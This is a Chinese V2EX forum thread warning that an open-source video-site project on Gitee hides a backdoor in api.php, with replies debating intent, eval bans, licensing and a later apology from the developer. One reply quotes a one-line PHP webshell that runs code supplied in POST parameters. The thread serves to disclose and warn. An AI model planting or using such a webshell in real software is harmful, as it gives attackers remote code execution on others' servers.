V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
dzdh
V2EX  ›  程序员

现如今的开源代码请谨慎使用

  •  4
     
  •   dzdh · 2021-11-12 18:04:16 +08:00 · 11310 次点击
    这是一个创建于 1109 天前的主题,其中的信息可能已经有所发展或是发生改变。

    有人问一个开源视频网站代码能不能给帮忙改改

    看了一眼 知乎好家伙

    https://gitee.com/positive-rain-cloud/zy-film-admin/blob/master/public/api.php

    53 条回复    2021-11-26 16:18:18 +08:00
    holystrike
        1
    holystrike  
       2021-11-12 18:06:58 +08:00   ❤️ 1
    够狠
    不过生产环境是要禁用 eval()的
    AoEiuV020
        2
    AoEiuV020  
       2021-11-12 18:11:36 +08:00
    这就可以直说是后门了,假装成漏洞的后门,
    AoEiuV020
        3
    AoEiuV020  
       2021-11-12 18:12:46 +08:00
    好家伙,看错了,这是装都不装,特地上传的后门,
    gabon
        4
    gabon  
       2021-11-12 18:12:53 +08:00 via Android   ❤️ 1
    好家伙,看不懂 php ,哪位能解释下😂
    Trim21
        5
    Trim21  
       2021-11-12 18:16:41 +08:00
    这种又放了个原版 Apache-2.0 的 license ,又在 readme 说不让商用的,到底是按 apache 还是说按 readme...
    InDom
        6
    InDom  
       2021-11-12 18:18:28 +08:00
    一句话木马。

    <?php $_POST['a']()$_POST['b'];
    AoEiuV020
        7
    AoEiuV020  
       2021-11-12 18:24:39 +08:00
    不过好歹比闭源好些,公开挂在网上有坑可能像这样被别人发现,闭源的话自己没发现问题就只能被坑了,

    而且这 eval 也太粗暴了吧,我代码下载来解压直接报毒,
    smallyu
        8
    smallyu  
       2021-11-12 18:25:52 +08:00   ❤️ 1
    我觉得不是故意的
    djkloop
        9
    djkloop  
       2021-11-12 18:28:40 +08:00 via iPhone
    多了,隐私协议也要注意,


    https://page.xiaojukeji.com/m/ddPage_0CZOoRgq.html
    kaitok
        10
    kaitok  
       2021-11-12 18:35:24 +08:00   ❤️ 2
    @gabon 我猜是 post 请求 /public/api 的 a 参数的代码直接执行
    djkloop
        11
    djkloop  
       2021-11-12 18:35:40 +08:00 via iPhone
    1 、对于免费版用户的用户资料,我方享有独家的、全球通用的、永久的、免费的资料许可使用权利(并有权在多个层面对该权利进行再授权),我方有权存储、整理、分析、使用、复制、修订、改写、发布、翻译、分发、执行和展示“您的资料”或制作其派生作品,或以任何形式将“您的资料”纳入其他作品内。

    其中这条就离谱
    AoEiuV020
        12
    AoEiuV020  
       2021-11-12 18:36:08 +08:00 via Android
    @smallyu 我第一眼也以为不是故意的,然而他整个项目都没有功能有调用这个 api.php ,只能认为是故意埋的,
    AoEiuV020
        13
    AoEiuV020  
       2021-11-12 18:37:13 +08:00 via Android
    @djkloop 这就懂了,没有后门的话这一条根本没法实现,
    skiy
        14
    skiy  
       2021-11-12 18:50:07 +08:00   ❤️ 3
    国外很多 npm 包经常被爆漏洞或者被黑,但人家是不经意的。但国内这些,不知道是“技术能力”的原因,还是故意为之。或者说对开源协议有什么自己独特的理解。

    比如前段时间闹得沸沸扬扬的 DEDECMS 事件,有很多人推的这个“PbootCMS”
    https://gitee.com/hnaoyun/PbootCMS/blob/3.X/core/basic/Kernel.php

    其实也是用 `eval`。

    我只是好奇这些标榜 `Apache 2` 协议的,然后指定说某个文件不可以修改和破解的。以我的理解:

    “将这个文件解码出来后,然后再将建一个文件保存。不引用它的那个“授权”核心源码,而是引用这个文件。这个样子算所谓“破解”核心源码吗?。或者说,完全把那个文件删掉,再用新的文件来引入。这算是遵循 Apache2 的规范吗?”
    efaun
        15
    efaun  
       2021-11-12 19:25:50 +08:00   ❤️ 5
    gitee 上开源的东西我看都不看
    Osk
        16
    Osk  
       2021-11-12 19:31:43 +08:00   ❤️ 5
    一直如此, 大家都觉得开源的, 别人会帮我审核代码, 这不, 楼主这就帮我们审核了一次. /狗头保命 /
    Acoffice
        17
    Acoffice  
       2021-11-12 19:36:07 +08:00
    差点以为已经开始投毒了呢
    josexy
        18
    josexy  
       2021-11-12 19:51:57 +08:00
    我看得懂,而且我大受震撼😄
    djkloop
        19
    djkloop  
       2021-11-12 20:09:19 +08:00 via iPhone
    @AoEiuV020 反正代码层面要注意,各方面都要注意,很多都是打着免费开源,在各地方给你留坑。像刚才滴滴那个开源的工具,就离谱。
    skiy
        20
    skiy  
       2021-11-12 20:29:45 +08:00
    @djkloop 其实那个条款是违法的。http://www.npc.gov.cn/npc/c30834/202108/a8c4e3672c74491a80b53a172bb753fe.shtml
    第一章第十条:
    “第十条 任何组织、个人不得非法收集、使用、加工、传输他人个人信息,不得非法买卖、提供或者公开他人个人信息;不得从事危害国家安全、公共利益的个人信息处理活动。”第十四、十五条……还有很多条款都很明确了。就怕他们对于“您的信息”的定义为“爱好”等无关信息了。

    新版个人信息保护法很强,就看执行力度的问题了。要是遇到较真的用户,那绝对会一告一个准。可惜,在中国很多人都不喜欢跟法院和律师打交道。(在不涉及政治和制度等“官”层面,这方面法院应该会“公正”一些吧?)
    Kasumi20
        21
    Kasumi20  
       2021-11-12 22:32:17 +08:00   ❤️ 23
    gitee 也叫开源, 圈地自萌吗
    nanjingwuyanzu
        22
    nanjingwuyanzu  
       2021-11-12 22:39:52 +08:00
    @Kasumi20 真实奥
    fpure
        23
    fpure  
       2021-11-12 22:54:30 +08:00
    @Kasumi20 确实
    wonderfulcxm
        24
    wonderfulcxm  
       2021-11-12 23:06:27 +08:00 via iPhone
    把 eval 这种危险函数禁用。🙈
    jiuhuicinv
        25
    jiuhuicinv  
       2021-11-12 23:07:15 +08:00
    这不是一句话木马么
    ijrou
        26
    ijrou  
       2021-11-12 23:16:07 +08:00   ❤️ 1
    这是对小白的警告,对开发人员他们也知道防范不了,还不如一开始就埋坑
    adai2
        27
    adai2  
       2021-11-12 23:50:38 +08:00
    666
    crab
        28
    crab  
       2021-11-13 00:05:44 +08:00
    有可能是测试用的 webshell 方式图方便忘记删除,不然留后门没道理这么显眼,完全有隐藏和加密混淆的方式。
    CokeMine
        29
    CokeMine  
       2021-11-13 02:55:53 +08:00 via Android
    这肯定是故意的吧。。
    ericls
        30
    ericls  
       2021-11-13 06:58:10 +08:00 via iPhone
    源代码刚好开放的项目 不等于开源项目
    newsj
        31
    newsj  
       2021-11-13 07:15:14 +08:00
    厉害了
    whywaoxaks
        32
    whywaoxaks  
       2021-11-13 10:03:39 +08:00
    呆萌!
    jones2000
        33
    jones2000  
       2021-11-13 11:23:46 +08:00
    代码都开源了, 自己可以用第 3 放的安防扫描软件扫描代码不就可以了, 不合理的地方自己可以改源码,跟作者有什么关系。开源没有规定不能写 eval()这个函数吧。
    haoliang
        34
    haoliang  
       2021-11-13 11:40:59 +08:00   ❤️ 1
    标题打击面太广了,真就“语不惊人死不休”
    westoy
        35
    westoy  
       2021-11-13 11:51:30 +08:00
    @crab

    有的

    中古留后门法, 以前很多站长为了外链放的动网、动易的插件版都会留个重置 admin 的脚本......谁改 powered by 就上去砍他丫的.....php 时代才开始考虑构造上传不严谨+包含漏洞这种复用式的留后门办法.....
    cs419
        36
    cs419  
       2021-11-13 12:02:37 +08:00
    天眼查显示
    https://www.tianyancha.com/company/5005887173
    拉钩 boss 上在招前端呢

    gitee 源码页面 右侧有个仓库举报的按钮
    LING97
        37
    LING97  
       2021-11-13 13:51:19 +08:00
    现如今。。。
    fewok
        38
    fewok  
       2021-11-13 14:45:58 +08:00
    不怕,我们不用 php
    xylophone21
        39
    xylophone21  
       2021-11-13 14:47:29 +08:00
    其实一直不理解,像这种'xx 系统'这种业务层面的开源,其抽象程度真的能满足真实业务场景需求吗? 如果要改, 不是比自己重写还难受?
    qq316107934
        40
    qq316107934  
       2021-11-13 14:47:50 +08:00
    @crab 测试用会故意伪装到 api 下吗?应该起个 test 之类的吧,放 tmp
    Lemeng
        41
    Lemeng  
       2021-11-13 15:22:56 +08:00
    目瞪口呆。。
    magic996
        42
    magic996  
       2021-11-13 15:26:11 +08:00
    xswl 他的测试站点把那个文件删了
    7gugu
        43
    7gugu  
       2021-11-13 15:52:06 +08:00
    @Kasumi20 gitee 怎么就不是开源了?
    majula
        44
    majula  
       2021-11-13 16:19:15 +08:00   ❤️ 1
    这个问题其实是无解的

    但即使你审阅了每行代码并自己编译,你仍然无法保证编译器是可信的

    即使你的编译器是自己写的,你仍然需要用其他(无法信任的)编译器来编译它

    除非这个编译器是你从一段手写的机器码开始,滚雪球式地编译出来

    这样仍然不安全,除非你的 BIOS 、操作系统内核和 Coreutils 等其他工具也是这么编译出来的

    可是这样也不够安全,因为 CPU 是无法信任的,你不知道它是不是会乖乖地执行你告诉它的机器码

    但是好在 x86/arm 指令集是开放的,虽然我们造不了 CPU ,但是可以用 FPGA 模拟。FPGA 的原理相对简单,也有开源的实现,从头造出一个可以信任的 FPGA 并不是特别难。

    好了,现在你手里拿着用 FPGA 模拟的 CPU ,有一个可以在上面跑的手写的编译器,还有用这个编译器编译出来 GNU/Linux ,然后在上面跑开源代码。如果上述的代码你都逐行审阅过,而且保证没有疏漏,这样你就基本能够保证跑的开源代码没有风险了。

    听起来是不是很不现实?没错,在当今的互联网世界,即使我们谁都不愿信任,最终还是要信任某个人。我们数据的隐私和安全,都是从一次次无可奈何的信任开始丢失的。
    flyingyasin
        45
    flyingyasin  
       2021-11-13 16:48:53 +08:00   ❤️ 6
    @majula 犯了诡辩论的错误
    sudoy
        46
    sudoy  
       2021-11-14 08:36:03 +08:00   ❤️ 1
    @majula 人家楼主说开源代码谨慎使用,并拿出一个例子来。你这倒好,直接用“世间万物皆不可信”谬论来恶心人
    zhlxsh
        47
    zhlxsh  
       2021-11-14 09:28:30 +08:00 via iPhone   ❤️ 1
    仓库打不开了已经
    仓库已经被屏蔽,暂时无法正常访问

    屏蔽原因:恶意违规

    你可以 点击这里 查看解决方案
    lfzyx
        48
    lfzyx  
       2021-11-14 13:09:40 +08:00   ❤️ 1
    这就是开源的意义啊,你这不是发现了漏洞吗

    闭源的都不会给你发现的机会
    aptx4689
        49
    aptx4689  
       2021-11-14 18:08:06 +08:00
    @majula 滑坡谬误
    pheyer
        50
    pheyer  
       2021-11-14 18:09:47 +08:00
    已经 403 了
    jerryjhou
        51
    jerryjhou  
       2021-11-14 19:19:12 +08:00 via Android
    @skiy 请看新闻
    HiCode
        52
    HiCode  
       2021-11-19 16:06:35 +08:00
    那个开发者删掉后门又重新把代码放出来了!
    Beize
        53
    Beize  
       2021-11-26 16:18:18 +08:00
    实在抱歉,我的疏忽导致的这个问题。
    发布到 gitee 之后,有人留言说发布木马,我们立马查看问题,经查询发现之前买的盲盒系统有后门,导致放到我们公司开发的项目里没有发现。发布到 gitee 的时候 也没有仔细检查。确实是我的失误,挨打就要立正,是我的错误。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3614 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 30ms · UTC 11:09 · PVG 19:09 · LAX 03:09 · JFK 06:09
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.